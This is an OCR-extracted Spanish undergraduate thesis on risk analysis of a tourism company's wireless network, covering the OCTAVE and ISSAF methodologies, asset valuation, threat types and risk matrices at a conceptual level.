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RESUMEN

El presente trabajo de titulacion tiene como objetivo realizar un andlisis de
riesgos a nivel de redes inalambricas en una empresa cuyo modelo de negocio
es la venta y comercializacion de productos en el area turistica por lo que su
especialidad es totalmente ajena al de la tecnologia, por lo tanto, no estan tan
familiarizados con atacantes, métodos y técnicas que involucren la apropiacion
de informacién a través de dispositivos electrénicos o software por parte de
usuarios no autorizados. Para este trabajo se utilizardn dos metodologias la
primera de ellas permitira identificar los activos criticos, determinar si cuentan
con procesos 0 una documentacién robusta que les permita mitigar riesgos y
amenazas de seguridad informatica en sus activos, conocer si sus empleados
saben como actuar frente alguna amenaza y sobre todo identificar si existen
vulnerabilidades criticas en todas sus é&reas. Adicionalmente se utilizaran
técnicas de hacking ético que seran implementadas a través de la metodologia
de pruebas de penetracion de ISSAF, la cual proporciona una guia que permite
descubrir vulnerabilidades, se asume el rol de un hacker de sombrero blanco el
cual busca determinar las distintas vulnerabilidades existentes que pueden
presentarse en la red en general de la empresa, probarlas y definir el nivel de
alcance de la informacion a la que puede llegar un usuario no autorizado. El
resultado obtenido le permitira a la empresa conocer sus vulnerabilidades,
corregirlas, contar con una documentacion que le permita actuar frente a posibles
amenazas, reducir el nivel de riesgo, guiar a sus empleados y capacitarlos en
funcién de las buenas préacticas de la seguridad informatica. En conclusion, esta
propuesta ayudara a la empresa a conocer, guiarse y concienciar de que no
estdn exentos a cualquier tipo de ataque informatico que puede darse en

cualquier momento.



ABSTRACT

The purpose of this degree work is to perform a risk analysis at the wireless
network level in a company whose business model is the sale and marketing of
products in the tourism area, so that their specialty is totally alien to technology,
so they are not so familiar with hackers, methods and techniques that involve the
appropriation of information through electronic devices or software by
unauthorized users. Two methodologies will be used for this, the first is Octave
of which will identify critical assets, determine if they company have processes or
solid documentation that allows them to mitigate the risks and threats of computer
security in their assets, know if their employees know how to act against any
threat and above all, identify if there are critical vulnerabilities in all its areas. In
addition, ethical hacking techniques will be used, which will be implemented
through the ISSAF penetration test methodology, which provides a guide to
discover vulnerabilities and take the white hat hacker role, which seeks to
determine the different vulnerabilities that exist. This can be presented in the
network of the company, to test them and define the level of scope of information
that can reach a black hat hacker. The result obtained will allow the company
they can to know their vulnerabilities, correct them and have documentation that
allows them to act against possible threats, reduce the level of risk, guide their
employees and train them based on good computer security practices. In
conclusion, this proposal will help the company to know, guide and educate
employees that they are not exempt from any type of computer attack that may

occur at any time.
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1. INTRODUCCION

El presente capitulo da a conocer una propuesta que permitira solucionar varios
problemas relacionados con la seguridad informatica en una empresa, en cuanto
a su desarrollo y resultados se veran reflejados con el cumplimiento de los

objetivos.

1.1 Problematica Actual

En la actualidad se ha vuelto indispensable el uso de la tecnologia para la
administracion de una pequefia 0 mediana empresa (pyme), con el paso de los
afos tanto software como hardware ha ido evolucionado permitiendo administrar
una mayor cantidad de informacion, sin embargo, nuevas formas de ataques
informaticos también han aparecido por lo que las empresas no estan exentas
de ser victimas de ataques informaticos y robos de informacién. Entre algunas
de las causas estd la falta de concienciacién, por ejemplo, cuando los
administradores trabajan asumiendo un supuesto entorno seguro, llegan a creer

que nunca se veran afectados por un ataque informatico. (Luna, 2019)

Esta propuesta va a analizar a una empresa que se encuentra ubicada en la
ciudad de Quito, cuentan con varias sucursales en los principales centros
comerciales, por lo que el modelo de negocio de la empresa es totalmente ajeno
a la tecnologia, sin embargo, para el funcionamiento de sus principales procesos
de produccién y sincronizacién con los equipos, dependen del funcionamiento

permanente de una red de area local con acceso a internet.

El problema se ha agravado debido a que ciertos equipos de red mantienen
contrasefas por defecto y que algunos de ellos fueron disefiados para el hogar
debido a su bajo costo y facilidad de instalacion. El uso de estos equipos de red
no permite aplicar politicas para la administracion de seguridad en la red a una
gran cantidad de anfitriones, por ejemplo, una politica es la utilizacién de una
tabla de direcciones MAC, esta tabla administra todos los anfitriones o host
permitiendo evitar que ingresen a la red de la empresa equipos desconocidos

debido a que estos no se encuentran registrados en la tabla. Finalmente se ha



conocido que no cuentan con ninguna una documentacion que esté relacionada

con la seguridad informatica.

1.2 Antecedentes

Se evidencian problemas que pueden representar un alto riesgo para la
empresa, el primer caso esta en la utilizacion de un servidor de almacenamiento
cuyo software es obsoleto, por ejemplo, la falta de parches de seguridad puede
acarrear problemas como ataques o vulneraciones de seguridad con el fin de
obtener credenciales de administrador permitiendo obtener acceso total al
servidor. Otro antecedente se relaciona con el personal, no cuenta con la
suficiente capacitacién y concienciacion por lo que es altamente vulnerable a
ataques de ingenieria social. No existen procedimientos o métodos para
contrarrestar una vulneracién a su entorno laboral, debido a que no se cuenta

con la suficiente inversion econdémica en seguridad informatica.

Otro caso se evidencia al instalar equipos nuevos, se los configura para que
trabajen de forma inmediata dejando de lado el control de cuentas de usuario,
para equipos de red se evitan politicas para la restriccion a sitios web,
restricciones de descarga de archivos, ademas no se aplican politicas de
seguridad, esto se evidencia al mantener activo el servicio de DHCP en toda la
red, permitiendo que un atacante pueda obtener una direccién IP de manera

automatica.

1.3 Alcance

Esta propuesta se enfoca en desarrollar un analisis de riesgos de seguridad
informatica en redes inalambricas para esto se utilizaran dos metodologias:
OCTAVE e ISSAF. Octave en su primera fase comienza con la construccion de
perfiles de amenaza la cual consiste en la identificacion de los activos mas
criticos de la empresa, todo esto a traves de encuestas aplicadas a las distintas
areas siendo estas: Directiva, Tl y General. Esta fase ayudara a conocer la

situacion real de la empresa y como manejan los procesos de seguridad.



La siguiente fase de la metodologia de Octave consiste en la identificacion de

vulnerabilidades en los equipos de TI, para este caso se va a utilizar la

segunda metodologia que consiste en pruebas de penetracion de ISSAF

permitiendo evaluar todos los elementos relacionados con el software, hardware

y al personal a través de ingenieria social utilizando la red inalambrica, se incluye

3 fases las cuales son:

Fase B.1: Planificacién y Preparacion: En esta fase se establecera un
acuerdo mutuo con la empresa, se definiran los tiempos de prueba,
ademas se realizaran las siguientes actividades:

o Contactar a las personas participes.

o Realizar una reunién para abordar los temas a evaluarse.
Fase B.2: Evaluacion: En esta fase se realizara las pruebas de
penetracion a través de un enfoque por capas, cada seccién representa
un mayor nivel de acceso a la informacion. Cada seccién cuenta con las
siguientes capas a evaluar:

o Recopilar informacién

o Elaborar una posible red de trabajo

o Identificar vulnerabilidades

o Aplicar pruebas de penetracion

o Obtener acceso y escalar en privilegios

o Enumerar accesos

o Comprometer a usuarios remotos

o Mantener el acceso

o Cubrir huellas dejadas
Fase B.3 Informes, limpieza y borrado de artefactos: Después de la
finalizacion del marco de trabajo utilizado se redactara un informe
representado a traves de tablas las cuales describen el proceso realizado,
herramientas utilizadas, fechas y horas de evaluacion, la salida de cada
prueba realizada, ademas una lista con las vulnerabilidades identificadas

gue incluyen las recomendaciones para solucionar dichos problemas.



Finalmente, los resultados obtenidos de la aplicacion de la metodologia de
pruebas de penetracion permitiran definir algunos de los correctivos de
seguridad que deben aplicarse en la empresa, los resultados de las buenas
practicas de la metodologia de Octave (Practicas Estratégicas) permitirdn
complementar la documentacion de seguridad con el afan de que puedan ser

aplicadas por la empresa.

1.4 Justificacién

Esta propuesta permitird que la empresa pueda contar una documentacion
basada en buenas practicas de seguridad informéatica, gracias a esto se podran
mitigar posibles amenazas, solucionar vulnerabilidades y sobre todo crear
conciencia de una seguridad informética responsable para la empresa. Estos
resultados se logran a partir de la aplicacion de ambas metodologias Octave e
ISSAF, las cuales permiten analizar no solamente la parte técnica de la empresa
(Hardware y Software) sino la forma en como participa la empresa (Personal)
cuando se practica la seguridad informéatica.

1.5 Objetivos

El objetivo general del trabajo de titulacion consiste en identificar riesgos de
seguridad informatica relacionada con las redes inalambricas con la finalidad de
crear un plan de mitigaciébn basado en buenas practicas cuyo beneficio sera

mejorar la proteccién de los activos de la empresa.
Los objetivos especificos son:

e Analizar y determinar cuales son los activos informéticos mas criticos de
la empresa.

e Determinar los posibles puntos de acceso vulnerables dentro de la
empresa a través de irrupciones controladas (hacking ético).

e Determinar el nivel de acceso y tipo de informacién al que puede llegar un

usuario no autorizado.



e Disefar plantillas y documentacion de seguridad en base a las buenas
practicas con el objetivo de crear contramedidas capaces de mitigar

ataques informaticos.
2. MARCO TEORICO

En la siguiente seccion se abordaran conceptos los cuales permitiran al lector

tener una mejor comprension del tema abordado.

2.1 Definicién de Seguridad Informatica.

Para tener una idea clara y concisa acerca de la seguridad informética se
plantean los siguientes conceptos los mismos que han sido citados de sus

respectivos autores el primero de ellos menciona que:

La seguridad informética consiste en asegurar los recursos del sistema de
informacion (material informatico o programas) de una empresa, sean
utilizados de la manera que se decidié y que el acceso a la informacién
alli contenida, asi como su modificacion, solo sea posible a las personas
gue se encuentren acreditadas y dentro de los limites de su autorizacion
(Costas, 2014, p. 19).

No obstante, la siguiente definicion aporta con otra idea y en la cual se menciona
que “La seguridad informatica es una rama de la seguridad de la informacion y
que utiliza una infraestructura informética y de telecomunicaciones con la
finalidad de proteger la informacién” (Escriva, Gascé y Gema, 2013 p. 7). Esta
ultima definicion también menciona a la informacion la cual es considerada como
un activo mas para la empresa y que debe ser protegida de posibles ataques

informéticos.

2.1.2 Importancia de la seguridad informatica

La seguridad informéatica tiene por objetivo proteger los activos de una empresa,
identificarlos analizarlos con el fin de crear un mecanismo para su proteccion,
siempre y cuando estos sean parte 0 se relacionen con el proceso de negocio

(Escriva et al., 2013, p. 8). Cabe destacar que la inversion en seguridad



informatica para una empresa puede variar de acuerdo con el tipo de informacién
gue esta desea proteger, de acuerdo con esta afirmacion planteada por el autor
(Baca, 2016, p 12).

2.1.3 Aspectos fundamentales de la seguridad informatica

No solamente la seguridad informatica estd enfocada en la proteccion del
software y hardware existen 3 elementos fundamentales que deben cumplirse
para que exista tal seguridad, estas definiciones son conocidas como: Integridad,
Confidencialidad y Disponibilidad. El autor Costas (2014, p. 22) sefiala que la
confidencialidad es aquella que no revela datos a usuarios no autorizados. La
integridad es aquella definiciébn cuyo objetivo consiste en asegurar que lo datos
no hayan sido manipulados. Finalmente, la disponibilidad consiste en que la
informacion siempre se debe encontrar accesible en todo momento para los

usuarios autorizados.

Como informacion adicional el autor (Baca, 2016, p 12) habla acerca del marco
de referencia (Cobit 5) y del cual menciona otras caracteristicas que permitiran
complementar aspectos adicionales a la seguridad informatica algunos de ellos

son:

e La efectividad, menciona que la informacién debe ser Unicamente la
necesaria, evitar utilizar datos que no lleven al caso para el desarrollo de
un proceso y ademas que esta sea consistente.

e La eficiencia describe que los resultados obtenido deben ser a través de
métodos o procesos Optimos para la empresa evitando el gasto de
recursos innecesarios.

e Los estandares, en su mayoria es necesario regirse de estas normas o
leyes para evitar problemas y mantener un reglamento acorde al proceso

de negocio.

2.1.4 Tipos de Activos en la seguridad informatica

Segun los autores (Escriva et al., 2013, p. 8) mencionan estos 4 tipos de activos

desde el punto de vista informatico:



1. Informacion: Cualquier elemento que almacene cualquier tipo de datos.

2. Software: Programas utilizados por la empresa para mejorar Su
funcionamiento o automatizacion de procesos.

3. Fisicos: Toda la infraestructura tecnolégica capas de administrar la
informacion necesaria en toda la empresa.

4. Personal: Utilizan la tecnologia y sus herramientas para el manejo de la

informacion.

Como punto adicional los activos pueden ser vistos de manera tangible o
intangible tal y como lo describen los autores Alvarez y Pérez (2004, p.173), para
este caso un activo tangible se puede mencionar unidades de almacenamiento,
bases de datos con informacion critica o cualquier medio que administre data,
por otro lado, de forma intangible se menciona la privacidad, renombre de la

marca y reputacion.

2.1.5 Activos en la Seguridad Informética

Un activo es considerado como un recurso del sistema (informatico o no) pero
gue es necesario ya que permite cumplir con los objetivos y metas de la empresa
(Escriva et al., 2013, p. 8). La proteccidn que se le da a los activos no debe ser
ignorado, ya que el valor de restauracion puede resultar muy costoso. Los activos

pueden ser software, hardware, datos, archivos inclusive el personal.

El manejo de cualquier activo que sea valioso para la empresa implica también
gue este posea algun tipo de riesgo por lo que la proteccion es directamente

proporcional al nivel o tipo de seguridad que se le esté dando (Baca, 2016, p 5).

2.1.6 Evaluacién de los Activos

La metodologia de ISSAF cuenta con una documentacion completa en la cual
menciona con mayor detalle a los activos segun Open Information Systems
Security Group (ISSAF), 2008, p. 94, estos pueden ser valorados de manera
cuantitativa o cualitativa. Una valoracion cuantitativa se enfoca en asignar un

valor econémico basado en el costo de compra y el costo de perdida para el caso



en que el activo deje de operar con normalidad para realizar este analisis se

aplica la siguiente formula.
Valor Cuantitativo = Costo de Activo + Costo de Pérdida

No solamente se puede evaluar de forma tangible los activos, sino también de
forma intangible como es el caso de la pérdida de confianza en sus clientes o

proveedores.
El valor de un activo también depende de:

e El costo de producir la informacion.

e El valor de venta de la informacién en el mercado.

e El costo de reproduccion de la informacion si esta se destruye.

e Repercusién a la empresa si la informacién no esta disponible.

e Ventaja que se da a la competencia si se usa, modifica o destruye la
informacion.

e Costo a la empresa si su informacion se expone, altera o es destruida.

e Pérdida de confianza del cliente o clientes si la informacién no se procesa
de forma segura.

e Pérdida de credibilidad publica y verglenza si la informacion no era

segura.

Sin embargo, para esta propuesta, los activos Unicamente seran valorados a
través del método cualitativo debido a que, gracias a su facilidad de uso,
simplicidad y comprensibilidad, se podra atribuirle una calificacion subjetiva

basada en:

e El costo del activo cuando este deja de operar con normalidad.
e Larelacion con el proceso de negocio.

e El tiempo estimado para la solucién del problema.

La tabla 1 cuenta con dos columnas, la primera permite determinar una etiqueta
en funcién de la descripcion y la segunda contiene todos los parametros que

deben cumplirse para asignar un nivel del activo.



Tabla 1.

Asignacion de criticidad para un activo

NIVEL DEL DESCRIPCION
ACTIVO
Alto Relacionado directamente con el proceso del negocio y un alto valor

econdémico en pérdidas, su solucion toma varias horas.

Medio Relacionado directa o indirectamente con el proceso del negocio, su
solucion es inmediata y puede presentarse un costo econémico menor

de reemplazo.

Bajo No relacionado con el proceso de negocio, el activo afectado puede ser

reemplazado sin afectar el trabajo normal de la empresa.

Adaptado de ISSAF, 2008, p. 94

Por ejemplo, una impresora que es utilizada por el area de contabilidad, imprime
una cierta cantidad veces al mes, debido a esto se le asigna un valor “Bajo” como
indica la tabla 1, ya que no se relaciona con el proceso de negocio, no obstante
no tendria la misma importancia si esta impresora es utilizada por otra area, tal
sea el caso de inventarios, las impresiones que realizan estan relacionadas con
el proceso del negocio y puede ser considerado como un activo “Medio”, debido
a que tal proceso se relaciona con el proceso de negocio de forma indirecta, este
valor es definido de acuerdo al nivel de relacion e importancia que previamente
fue discutido y acordado con las partes interesadas las cuales son entre el
evaluador y el personal. Otro ejemplo es el software que controla el proceso de
ventas y facturacion, una vez se haya discutido entre las partes interesadas se
llega a la conclusion que, si este activo dejara de operar afecta directamente al
proceso del negocio y puede dejarlo inoperativo hasta encontrar una solucion,

por lo tanto, se lo considera un activo “Alto”.
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2.1.7 Definicion de Amenazas en Seguridad Informatica.

(Escriva et al., 2013, p. 9) Definen a una amenaza como cualquier entidad o
circunstancia que atente en contra del buen funcionamiento de un sistema
informatico, este concepto no es el Unico y se puede profundizar esta definicion
mas al detalle, el autor Costas (2014, p. 32) sefiala que la amenaza de un
sistema informéatico puede provenir desde un hacker remoto que entra al sistema

a través de algun virus informéatico o la instalacion de una puerta trasera.

Las vulnerabilidades son consideradas como una debilidad que posee algun
elemento o activo y que este puede repercutir de algin modo en el normal

funcionamiento del sistema informéatico de la empresa (Escriva et al., 2013, p. 8).

2.3 Hacking Etico

A continuacion, se describen algunos de los conceptos que permitiran definir el
perfil de trabajo de los profesionales encargados de realizar analisis y

evaluaciones en materia de seguridad informética.

2.3.1 ¢ Qué es un Hacker Etico?

Es un profesional que utiliza sus conocimientos en hacking para proteger un
sistema y su informacion de intrusos. Generalmente un hacker ético posee
conocimientos en sistemas operativos, redes, programacion con una gran

variedad de lenguajes dominados, hardware y electrénica. (Users, 2011, p. 48)

El autor (Agé, Baudru y Crocfer, 2015, p. 134), lo describe como un pentester el
cual mide el nivel de seguridad de un sistema de informacién a través de ataques
o test de pruebas de penetracion con el fin de corregir fallos o revelar posibles

vulnerabilidades en el sistema.

Es importante conocer que un hacker ético sigue un coédigo estricto de
comportamiento, esto le permite utilizar sus habilidades para el beneficio de una
empresa u organizacion que haya solicitado sus servicios, cabe destacar que

frecuentemente deben renovar sus conocimientos, invertir el suficiente tiempo y
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paciencia para investigar como también dominar herramientas de pruebas.
(Users, 2011, p. 48)

2.3.2 Tipos de Ataques Aplicados

Actualmente se mencionan 3 de los tipos de ataques mas utilizados, sin
embargo, desde la perspectiva de otras definiciones se los puede clasificar de

diferente forma para ello se van a hacer mencion de:

1. Ataques Logicos
2. Ataques Fisicos

3. Ataques a partir de Personas

2.3.2.1 Ataques Logicos

Son aquellos programas informéticos que de una u otra forma pueden dafiar a
un sistema informético, creados de forma intencional con la finalidad de obtener
o dafar informacion (malware), no obstante, también se hace mencion de bugs
o agujeros (Users, 2011, p. 51). Las herramientas de seguridad informatica
(Software de Auditoria) pueden ayudar a una empresa con la identificacién de
vulnerabilidades o detectar errores en una red, sin embargo, cuando estas
herramientas son utilizadas por atacantes se vuelven armas capaces de
provecharse de los fallos identificados y atacar a una red o subred completa, tal

sea el caso de las redes inalambricas.

Como dato adicional estos atagues generalmente suelen venir desde el exterior
perpetrados por hackers, sniffers, spammers los cuales tienen el deseo por
demostrar habilidades para romper con las seguridades de un sistema (Baca,
2016, p 31).

2.3.2.2 Ataques Fisicos
Son aquellos que pueden afectar la seguridad y el funcionamiento de un sistema

pudiendo ser a través de robos, destruccion de sistemas a través de condiciones

fisicas que afecten el normal comportamiento del hardware (Costas, 2014, p. 35).
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Los ataques no intencionados también pueden relacionarse dentro de este grupo
visto desde otra perspectiva se menciona un incendio accidental, inundaciones
u otro tipo de fallos que puedan presentarse sin una previa accion intencional
(Baca, 2016, p 31).

2.3.2.3 Ataques a partir de Personas

Este es el ente mas critico pero considerado por la empresa como un elemento
irrelevante que no tiene la suficiente capacidad de causar un dafio mayor, sin
embargo, pueden presentarse casos extremos como el cese de actividades, es
importante recalcar que este tipo de problemas surgen por accidentes, debido al
desconocimiento de normas bésicas de seguridad o también cuando un
administrador no logra identificar y administrar de forma correcta un sistema o
infraestructura, al momento de aplicar medidas de seguridad necesarias para
contrarrestar ataques informaticos, adicionalmente no solo el personal de planta
debe estar involucrado pues existen otros perfiles que son tomados en cuenta
como exempleados, curiosos y atacantes (Costas, 2014, p. 32).

2.3.3 Ingenieria Social

El autor (Costas, 2014, p. 205) define a la ingenieria social como un conjunto de
técnicas y la capacidad para lograr que un grupo de personas puedan seguir una

tarea especifica cuya finalidad es revelar informacion confidencial de la empresa.

Este concepto se ha vuelto muy popular ya que a través de los afios el hardware
y software se han vuelto mas seguros, teniendo que invertir mas tiempo en
encontrar algun tipo de vulnerabilidad o bug que se pueda explotar, por lo que,
la atencion se ha volcado en los usuarios quienes no tienen idea y no hayan sido
concientizados en materia de seguridad por lo que pueden ser objetivos faciles

de ataques.

Los autores (Escriva et al., 2013, p. 10) profundizan alin mas esta probleméatica
debido a la utilizacion de herramientas de software especializadas y capaces de
explotar las debilidades del factor humano, por ejemplo se presenta un engafio

efectuado a partir de la suplantacion de identidad del administrador del sistema,
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todo esto con la finalidad de obtener informacion confidencial para ello se pueden
utilizar canales de comunicacioén como correos electronicos, phishing en paginas

web o en el inicio de sesion de un usuario en su computador.

2.4 Redes inalambricas

Es aquella tecnologia capaz de brindar a los usuarios la capacidad de conectarse
a una red local e internet sin la necesidad de utilizar cables de forma fisica o
datos méviles. (Costas, 2014, p. 222). Otra definicion la mencionan los autores
Alvarez y Pérez (2004, p.173) las redes WLAN (Wireless Local Area Network)
permite la comunicacion entre varios dispositivos ya que transmiten su
informacion a través de ondas sin la necesidad de cables permitiendo una mayor

libertad al usuario y evitar la utilizacion de puntos de red.

2.4.1 Amenazas en Redes

El uso de la red ha permitido que un gran niumero de computadores puedan
comunicarse entre si, una empresa depende de ellas para mantenerse
trabajando de manera activa como el envio de informacién. Estos ataques suelen
ser devastadores ya que pueden llegar a interrumpir los servicios que dependen
de la red, hasta obtener una gran cantidad de informacién y manipulacién de los
activos Alvarez y Pérez (2004, p.173). Algunas de las amenazas mas recurrentes

son:

1. Robo de informacion e identidad.
2. Manipulacion de datos e interrupcion de servicios.

Las redes generalmente tienden a sufrir atagues DoS (Denegacién de Servicio),
algunas de las variantes constan la inundacion de IP, falsificacion de direcciones,
etc. La combinacién entre computadores atacantes puede desencadenar en
ataques DDoS o denegacion de servicio distribuido este proceso tiende a ser el
mas devastador ya que se puede llegar a controlar una gran cantidad de equipos

de una red, transformandoles en zombis o botnet (Escriva et al., 2013, p. 178).
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Son consideradas como aquellas debilidades que pueden ser explotadas para

que se materialicen

las amenazas anteriormente mencionadas,

las

vulnerabilidades pueden presentarse durante el proceso de configuracion de la

red, debilidades de la tecnologia, falta de actualizaciones y parches de

seguridad. A continuacion, a manera de ejemplo se presenta la tabla 2 la cual

contiene las amenazas mas recurrentes en las redes inalambricas, sus

vulnerabilidades y los riesgos que pueden presentarse Alvarez y Pérez (2004,

p.177).

Tabla 2.

Amenazas, riesgos y Vulnerabilidades de las redes Inaldmbricas

AMENAZA

VULNERABILIDAD

RIESGO

Recopilacion de

Informacién

Los servicios devuelven banners,
contienen informacion del tipo y

version del servidor.

Obtener informacién del hardware y
software que tiene la empresa a
través de la Identificacion de la
topologia de red, escaneo de puertos,
detectar servicios de escucha vy

enumerar equipos en la red.

Inyeccion de

trafico en lared

Autenticacion y seguridad fisica
deébil, uso de protocolo inseguro
WEP.

Suplantar la identidad cuyo objetivo
es obtener claves o realizar la

instalacion de un sniffer en la red.

Ataques de

Acceso

Des autenticar y crear un falso

punto de acceso.

Clonar una pagina web autentica
para obtener credenciales a partir de
la captura de SSID ocultos, se utilizan
mensajes para crear una falsa

autenticaciéon de usuarios.

Secuestro de
Sesién

Ausencia de comunicaciones
cifradas.

Visualizar informacion confidencial
de la empresa a partir del spoofing,
cambio de rutas y manipulacién de

paquetes.
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Denegacion de Configuraciéon débil en Afectar la operacion de internet e
Servicio ruteadores y switch, posibles intranet de la empresa a partir de la
errores en el software. inundacién de la red con paquetes,

explotacion de vulnerabilidades en

servidores o desbordamientos.

Adaptado de Alvarez y Pérez, 2004, p.177

Estas solo son aquellas vulnerabilidades mas comunes que todo atacante
considera importante debido a su facilidad de implementacion considerando que
el tiempo utilizado es el minimo a comparacion de otros ataques que resultan
dificiles de ejecutar, pues se requiere de un mayor analisis a la infraestructura

tecnoldgica.

2.4.3 Impacto y Probabilidad

El impacto se considera como las consecuencias generadas por distintas
amenazas y ataques informéticos, generalmente las pérdidas son econémicas,
informacion a corto o largo plazo (ISSAF, 2008, p. 249). A manera de ejemplo
en la tabla 3 se utiliza el método cualitativo gracias a ello se puede definir un

nivel de impacto de acuerdo con los siguientes parametros:

e Control, destruccién o modificacion de la informacion y el sistema.
e Tiempos para aplicar los correctivos necesarios.

e Larelacién con el proceso del negocio.
Tabla 3.

Asignacion de niveles de impacto

NIVEL DE IMPACTO DESCRIPCION DEL IMPACTO

Alto Pérdida total del control del sistema, pérdida de confidencialidad,
integridad y disponibilidad de datos. Se ataca con mayor rapidez al

sistema a través de la red, afectacion al proceso de negocio.
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Medio Impacto medio al sistema informatico y su correccién es a través de

herramientas o auditorias.

Bajo Impacto minimo al sistema informéatico y de facil correccion.

Adaptado de ISSAF, 2008, p. 249

Por ejemplo, se puede tomar como referencia al ruteador principal, este permite
gue todos los equipos de la empresa puedan tener internet, aspecto fundamental
y relacionado con el proceso de negocio, un ataque a este servicio puede
paralizar su actividad y generar pérdidas econémicas hasta su restablecimiento,

para este caso se le asigna un nivel de impacto “Alto”.

La probabilidad permite determinar el nimero de veces en las que puede
materializarse una amenaza dentro de la empresa, la tabla 4 describe el nimero
de veces en las que puede ocurrir una amenaza, asi también las circunstancias
en las que se presenta, una vez definido tal descripcién se puede asignar un

nivel de riesgo para cada nivel. (ISSAF, 2008, p. 250).
Tabla 4.

Asignacion de niveles de probabilidad

Nivel de Probabilidad

Riesgo
(El potencial de que las amenazas se produzcan y sus probables

consecuencias)

Alto Se han presentado varias amenazas similares en el afio.
Medio Se ha presentado una amenaza similar en el afio.
Bajo Se ha presentado una amenaza similar en alguna ocasion en la empresa.

Adaptado de ISSAF, 2008, p. 250
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2.4.4 Riesgos

Para realizar una evaluacion de riesgos se debe tomar en cuenta el método
cualitativo, es recomendable utilizar una matriz de riesgos que involucra al

impacto y probabilidad como se indica en la tabla 5. (ISSAF, 2008, p. 251).
Tabla 5.

Matriz de Impacto VS Probabilidad

Alto
Medio

Bajo Bajo Bajo Medio
Adaptado de ISSAF, 2008, p. 251

Una empresa no puede eliminar en su totalidad el riesgo, sin embargo, es capaz
de mitigarlo y reducir en su mayoria las vulnerabilidades con la finalidad de evitar

gue nuevas amenazas puedan originarse.

2.5 Metodologia Octave

Es una técnica de evaluacion y planificacion estratégica basada en el riesgo,
utiliza el conocimiento de préacticas y procesos relacionados con la seguridad en
la empresa en relacién con las personas, permitiendo capturar su estado actual

de seguridad (Alberts, Dorofee, Stevens y Woody, 2003, p.3).

@ + ORGANIZACION

Figura. 1. Representacion gréfica de Octave.

SEGURIDAD
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2.5.1 ¢ Por qué OCTAVE?

Otras metodologias se enfocan en un riesgo tecnoldgico, evaluacion y utilizacion
de cuestiones tacitas, por otro lado, Octave se enfoca en los riesgos de la
empresa, se centra en temas estratégicos, ademas que permite una evaluacion
flexible y que se puede adaptar a la mayoria de las organizaciones (Alberts et
al., 2003, p.4).

2.5.2 Propdsito de OCTAVE

Evaluar riesgos de seguridad como amenazas y vulnerabilidades de activos a
través de un catalogo de préacticas cuyo resultado sera determinar el nivel de
practicas de seguridad que aplica la empresa, en base a ello se podran
desarrollar estrategias para la mejorar la seguridad y planes de mitigacién de
riesgos (Alberts et al., 2003, p.9).

2.5.3 Diferencias de OCTAVE con otras Metodologias

Tabla 6.

Metodologia Octave VS Otros Enfoques

OCTAVE OTRAS METODOLOGIAS
Evalla a toda la empresa Evalla al sistema informatico de la empresa
Se enfoca en practicas de seguridad Se enfoca en temas tecnolégicos
Plantea cuestiones estratégicas Plantea cuestiones tacitas

Adaptado de Alberts et al., 2003, p.9

2.5.4 Catalogo de préacticas de OCTAVE

Es un conjunto de buenas practicas estratégicas y operativas de seguridad,
permite identificar si lo que se esta haciendo actualmente es correcto o
incorrecto, de esta forma se determina posibles vulnerabilidades por parte de los

empleados de la empresa (Alberts, Dorofee y Allen, 2001, p. 2).
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2.5.5 Clasificacion del Catalogo de Précticas

Son aquellas encuestas aplicadas de acuerdo con el area o nivel de jerarquia de
una empresa, el catalogo de practicas se divide en estratégicos y operativos
(Alberts et al., 2001, p.7).

o Préacticas Estratégicas: Son aquellas que estan involucradas
directamente con la empresa, como politicas, practicas utilizadas o planes
estratégicos.

o Practicas Operativas: Son aquellas que se enfocan directamente con la

tecnologia, su proteccién y su administracion.

2.5.6 ¢Que son las Encuestas?

Estas encuestas lo mencionan los autores (Alberts et al., 2003, p.7) se aplican
durante el desarrollo del proceso 1, 2 y 3 con la finalidad de obtener la
informacion necesaria sobre las practicas actuales de seguridad, estas

encuestas se enfocan en tres areas a evaluarse y estas son:

e Altos directivos o Gerentes.
e Personal en general.

e Personal a cargo de la tecnologia o Administradores de TI.



20

2.5.7 Aplicacion de OCTAVE

Proceso 1: Encuestas aplicadas al Area Directiva
Proceso 2: Encuestas aplicadas al Area Operativa
Proceso 3: Encuestas aplicadas al Area General
Proceso 4: Recoleccion de resultados de todas las encuestas
Construccién Perfiles
de Amenaza

Encuestas, practicas
actuales,
vulnerabilidades
organizativas.

Preparacién Proceso 7: Anélisis de Riesgos - Perfiles de Riesgo

Proceso 8: Desarrollo de Estrategias de Proteccion

Inicio

Proceso 5: Identificacion de componentes clave
Proceso 6: Aplicacion de la Metodologia Octave

Identificacion de
Vulnerabilidades en Tl

Componentes Clave,
Metodologia penetracion
de vulnerabilidades
A 4

Figura. 2. Fases y procesos para la aplicacion de la Metodologia OCTAVE.
Adaptado de Alberts et al., 2001, p.5

La metodologia Octave se la aplica en 3 fases las cuales permitiran determinar

el estado actual de la empresa como también de su tecnologia.
Fase 1. Construccion de Perfiles de Amenaza

Se identifican los activos mas criticos para la empresa y cuales son las
estrategias que se aplican para mantener su continua operatividad (Alberts et al.,
2001, p.4). Estos perfiles son creados en base a encuestas aplicadas en el

siguiente orden:

Proceso 1: Area Directiva, identificacion de activos y practicas de seguridad
actuales, amenazas de seguridad posibles y vulnerabilidades presentes.
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Proceso 2: Area Operativa, identificacion de activos relacionados con el
proceso del negocio y practicas de seguridad actuales, amenazas de seguridad

posibles y vulnerabilidades presentes.

Proceso 3: Area General, identificacion de activos y practicas de seguridad
actuales aplicadas por el personal de Tl, amenazas de seguridad posibles y

vulnerabilidades presentes.

Proceso 4: En base a la recoleccion de los resultados en los procesos 1,2y 3
se realiza el andlisis para determinar los activos criticos de la empresa y cuya

finalidad sera construir los perfiles de amenaza para cada activo.
Fase 2: Identificacion de Vulnerabilidades en TI

Se identifican aquellos activos criticos tecnoldgicos vulnerables y que puedan
ser objeto de un posible ataque (Alberts et al., 2001, p.4). Para identificar tales

vulnerabilidades se plantean 2 procesos mas:

Proceso 5: La identificacibn de componentes clave como sistemas o
componentes tecnolégicos que manejen informacion confidencial o sean parte

del proceso de negocio de la empresa.

Proceso 6: Una vez identificados dichos componentes se procede a utilizar
herramientas, técnicas o metodologias con la finalidad de obtener resultados de
seguridad enfocados al &rea de tecnologia de la empresa. Este proceso contara
con la aplicacion de la metodologia de pruebas de penetracion ISSAF que sera

retomado en el subcapitulo 2.5.

2.5.8 Resultados e Informes Octave
Fase 3: Desarrollo de Estrategias y planes de seguridad

Los resultados obtenidos de la evaluacién permitirAn detectar los riesgos
presentes en activos criticos de la empresa por lo que en esta seccion se analiza
la manera de como solucionarlos o mitigarlos (Alberts et al., 2001, p.4). Para ello

